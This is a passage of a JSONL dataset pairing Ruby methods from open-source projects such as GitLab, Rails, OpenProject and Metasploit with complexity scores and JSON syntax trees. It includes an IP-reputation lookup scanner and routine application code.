efore_save\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_save\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_save\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_save\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_create\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_create\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_create\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_create\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_create\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_create\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_create\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_create\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_save\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_save\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_save\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_save\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_commit\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_commit\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_commit\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_commit\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"history\"]}]}]}]}","id":"b04950ea-84eb-4dcf-b6f4-4622c48c41f3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/mail_room.rb","start_line":140,"raw_source":"def application_secrets\n        @application_secrets ||= {}.tap do |application_secrets|\n          # Uses Rails::Secret.parse\n          # from: https://github.com/rails/rails/blob/v6.1.6.1/railties/lib/rails/secrets.rb#L24\n          erb_processed_yaml = ERB.new(File.read(application_secrets_file)).result\n          yaml_secrets =\n            YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(erb_processed_yaml) : YAML.safe_load(erb_processed_yaml)\n          application_secrets.merge!(yaml_secrets[\"shared\"].deep_symbolize_keys) if yaml_secrets[\"shared\"]\n          application_secrets.merge!(yaml_secrets[rails_env].deep_symbolize_keys) if yaml_secrets[rails_env]\n        end\n      end","complexity_score":33.5,"ast_json":"{\"type\":\"def\",\"children\":[\"application_secrets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@application_secrets\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"application_secrets\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"erb_processed_yaml\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"application_secrets_file\"]}]}]},\"result\"]}]},{\"type\":\"lvasgn\",\"children\":[\"yaml_secrets\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"unsafe_load\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"unsafe_load\",{\"type\":\"lvar\",\"children\":[\"erb_processed_yaml\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"safe_load\",{\"type\":\"lvar\",\"children\":[\"erb_processed_yaml\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml_secrets\"]},\"[]\",{\"type\":\"str\",\"children\":[\"shared\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application_secrets\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml_secrets\"]},\"[]\",{\"type\":\"str\",\"children\":[\"shared\"]}]},\"deep_symbolize_keys\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml_secrets\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"rails_env\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application_secrets\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml_secrets\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"rails_env\"]}]},\"deep_symbolize_keys\"]}]},null]}]}]}]}]}","id":"8ddf3d08-cfab-4c32-b53b-9c577379427b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/object_storage/migrate_uploads_worker.rb","start_line":70,"raw_source":"def self.enqueue!(uploads, to_store)\n      perform_async(uploads.ids, to_store)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enqueue!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uploads\"]},{\"type\":\"arg\",\"children\":[\"to_store\"]}]},{\"type\":\"send\",\"children\":[null,\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uploads\"]},\"ids\"]},{\"type\":\"lvar\",\"children\":[\"to_store\"]}]}]}","id":"99585dc7-ac68-41db-bd7e-9a4182b5410e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/cloud_volume_snapshot.rb","start_line":27,"raw_source":"def my_zone\n    self.class.my_zone(ext_management_system)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"my_zone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"my_zone\",{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]}]}]}","id":"31c381de-53ea-41c7-b762-fa57783e4388"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/zoho.rb","start_line":207,"raw_source":"def import_post_id(row)\n    # Try to make up a unique id based on the data Zoho gives us.\n    # The posted_time seems to be the same for all posts in a topic, so we can't use that.\n    Digest::SHA1.hexdigest \"#{row.permalink}:#{row.content}\"\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"import_post_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"permalink\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"content\"]}]}]}]}]}","id":"df30e2c7-d44f-4d46-a406-1633a395d31a"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/filters/table_of_contents_filter.rb","start_line":69,"raw_source":"def process_item(node, number)\n        text = node.text\n        return \"\".html_safe if text.blank?\n\n        id = get_unique_id(text)\n        add_header_link_class_and_id(node, id)\n\n        content_tag(:li, class: \"op-uc-toc--list-item\") do\n          anchor_tag(text, number, id)\n        end\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"number\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"html_safe\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[null,\"get_unique_id\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_header_link_class_and_id\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"li\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"op-uc-toc--list-item\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"anchor_tag\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"number\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}","id":"63e93898-3595-4a37-90e6-4ab39da4624d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/httpbl_lookup.rb","start_line":66,"raw_source":"def run_host(ip)\n    result = resolve(ip)\n    if result != 0\n      breakup = result.split('.')\n      lastseen = breakup[1]\n      threatnum = breakup[2].to_i\n      if threatnum < 25 then\n        threat = \"less than 100\"\n      elsif threatnum > 25 and threatnum < 49 then\n        threat = \"over 100\"\n      elsif threatnum > 50 and threatnum < 99 then\n        threat = \"over 10,000\"\n      elsif threatnum > 75 then\n        threat = \"over 1 million\"\n      end\n\n      typenum = breakup[3]\n      typestring = case typenum\n                   when '0' then 'Search Engine'\n                   when '1' then 'Suspicious'\n                   when '2' then 'Harvester'\n                   when '3' then 'Suspicious & Harvester'\n                   when '4' then 'Comment Spammer'\n                   when '5' then 'Suspicious & Comment Spammer'\n                   when '6' then 'Harvester & Comment Spammer'\n                   when '7' then 'Suspicious & Harvester & Comment Spammer'\n                   else\n                     \"Unknown\"\n                   end\n\n      print_status \"\"\n      print_status \"#{ip} resolves to #{result} which means: #{typestring}\"\n      print_status \"=> it was last seen #{lastseen} day ago and has a threat score of #{threatnum} or \\'#{threat} spam messages\\'\"\n      print_status \"=> more info here: http://www.projecthoneypot.org/ip_#{ip}\\n\"\n    end\n  end","complexity_score":58.53,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"resolve\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"breakup\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lastseen\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"breakup\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"threatnum\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"breakup\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threatnum\"]},\"<\",{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"lvasgn\",\"children\":[\"threat\",{\"type\":\"str\",\"children\":[\"less than 100\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threatnum\"]},\">\",{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threatnum\"]},\"<\",{\"type\":\"int\",\"children\":[49]}]}]},{\"type\":\"lvasgn\",\"children\":[\"threat\",{\"type\":\"str\",\"children\":[\"over 100\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threatnum\"]},\">\",{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threatnum\"]},\"<\",{\"type\":\"int\",\"children\":[99]}]}]},{\"type\":\"lvasgn\",\"children\":[\"threat\",{\"type\":\"str\",\"children\":[\"over 10,000\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threatnum\"]},\">\",{\"type\":\"int\",\"children\":[75]}]},{\"type\":\"lvasgn\",\"children\":[\"threat\",{\"type\":\"str\",\"children\":[\"over 1 million\"]}]},null]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"typenum\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"breakup\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"typestring\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"typenum\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"0\"]},{\"type\":\"str\",\"children\":[\"Search Engine\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"1\"]},{\"type\":\"str\",\"children\":[\"Suspicious\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"2\"]},{\"type\":\"str\",\"children\":[\"Harvester\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"3\"]},{\"type\":\"str\",\"children\":[\"Suspicious & Harvester\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"4\"]},{\"type\":\"str\",\"children\":[\"Comment Spammer\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"5\"]},{\"type\":\"str\",\"children\":[\"Suspicious & Comment Spammer\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"6\"]},{\"type\":\"str\",\"children\":[\"Harvester & Comment Spammer\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"7\"]},{\"type\":\"str\",\"children\":[\"Suspicious & Harvester & Comment Spammer\"]}]},{\"type\":\"str\",\"children\":[\"Unknown\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" resolves to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"str\",\"children\":[\" which means: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"typestring\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"=> it was last seen \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lastseen\"]}]},{\"type\":\"str\",\"children\":[\" day ago and has a threat score of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threatnum\"]}]},{\"type\":\"str\",\"children\":[\" or '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threat\"]}]},{\"type\":\"str\",\"children\":[\" spam messages'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"=> more info here: http://www.projecthoneypot.org/ip_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},null]}]}]}","id":"19aaca5e-e7bd-48c4-9e41-a2a451e1c45b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/int_range_partition.rb","start_line":68,"raw_source":"def holds_data?\n          conn.execute(\"SELECT 1 FROM #{fully_qualified_partition} LIMIT 1\").ntuples > 0\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"holds_data?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conn\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT 1 FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fully_qualified_partition\"]}]},{\"type\":\"str\",\"children\":[\" LIMIT 1\"]}]}]},\"ntuples\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"6493d2e6-6f5c-4084-940c-55b93c36e230"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/ci/pipeline_stages_resolver.rb","start_line":13,"raw_source":"def resolve_with_lookahead\n        apply_lookahead(pipeline.stages)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_with_lookahead\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"apply_lookahead\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"stages\"]}]}]}","id":"05fad504-8699-4dbb-b40f-ac6229ffb462"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/xml_mini/libxmlsax.rb","start_line":35,"raw_source":"def on_start_element(name, attrs = {})\n        new_hash = { CONTENT_KEY => +\"\" }.merge!(attrs)\n        new_hash[HASH_SIZE_KEY] = new_hash.size + 1\n\n        case current_hash[name]\n        when Array then current_hash[name] << new_hash\n        when Hash  then current_hash[name] = [current_hash[name], new_hash]\n        when nil   then current_hash[name] = new_hash\n        end\n\n        @hash_stack.push(new_hash)\n      end","complexity_score":26.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_start_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"attrs\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONTENT_KEY\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]}]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_hash\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"HASH_SIZE_KEY\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_hash\"]},\"size\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"new_hash\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"lvar\",\"children\":[\"new_hash\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"new_hash\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash_stack\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"new_hash\"]}]}]}]}","id":"b0483ed0-653c-4be9-b0ba-c6e47e0c0769"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/authentication_strategies/oauth_client_credentials.rb","start_line":42,"raw_source":"def call(storage:, http_options: {})\n          config = validate_configuration(storage).value_or { return Failure(it) }\n\n          token_cache_key = TOKEN_CACHE_KEY % storage.id\n          access_token = @use_cache ? Rails.cache.read(token_cache_key) : nil\n\n          http = build_http_session(access_token, config, http_options).value_or { return Failure(it) }\n\n          operation_result = yield http\n\n          return operation_result unless @use_cache\n\n          case operation_result\n          in Success if @use_cache && access_token.blank?\n            write_cache(token_cache_key, http)\n          in Failure(code: :forbidden)\n            clear_cache(token_cache_key)\n          else\n            return operation_result\n          end\n\n          operation_result\n        end","complexity_score":30.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"storage\"]},{\"type\":\"kwoptarg\",\"children\":[\"http_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_configuration\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]},\"value_or\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[null,\"it\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"token_cache_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TOKEN_CACHE_KEY\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"access_token\",{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@use_cache\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"token_cache_key\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"http\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_http_session\",{\"type\":\"lvar\",\"children\":[\"access_token\"]},{\"type\":\"lvar\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"http_options\"]}]},\"value_or\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[null,\"it\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"operation_result\",{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@use_cache\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation_result\"]}]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation_result\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Success\"]},{\"type\":\"if_guard\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@use_cache\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_token\"]},\"blank?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_cache\",{\"type\":\"lvar\",\"children\":[\"token_cache_key\"]},{\"type\":\"lvar\",\"children\":[\"http\"]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"const_pattern\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"clear_cache\",{\"type\":\"lvar\",\"children\":[\"token_cache_key\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation_result\"]}]}]},{\"type\":\"lvar\",\"children\":[\"operation_result\"]}]}]}","id":"a9813c68-4fd6-4f74-baf9-0ad363f100ab"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/nested_through_associations_test.rb","start_line":662,"raw_source":"def assert_includes_and_joins_equal(query, expected, association)\n      query = query.order(:id)\n\n      actual = assert_queries_count(1) { query.joins(association).to_a.uniq }\n      assert_equal expected, actual\n\n      actual = assert_queries_count(1) { query.includes(association).to_a.uniq }\n      assert_equal expected, actual\n    end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_includes_and_joins_equal\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"arg\",\"children\":[\"expected\"]},{\"type\":\"arg\",\"children\":[\"association\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"joins\",{\"type\":\"lvar\",\"children\":[\"association\"]}]},\"to_a\"]},\"uniq\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]},{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"includes\",{\"type\":\"lvar\",\"children\":[\"association\"]}]},\"to_a\"]},\"uniq\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}","id":"34ff0704-e710-4a59-a0a2-b927143dc868"}
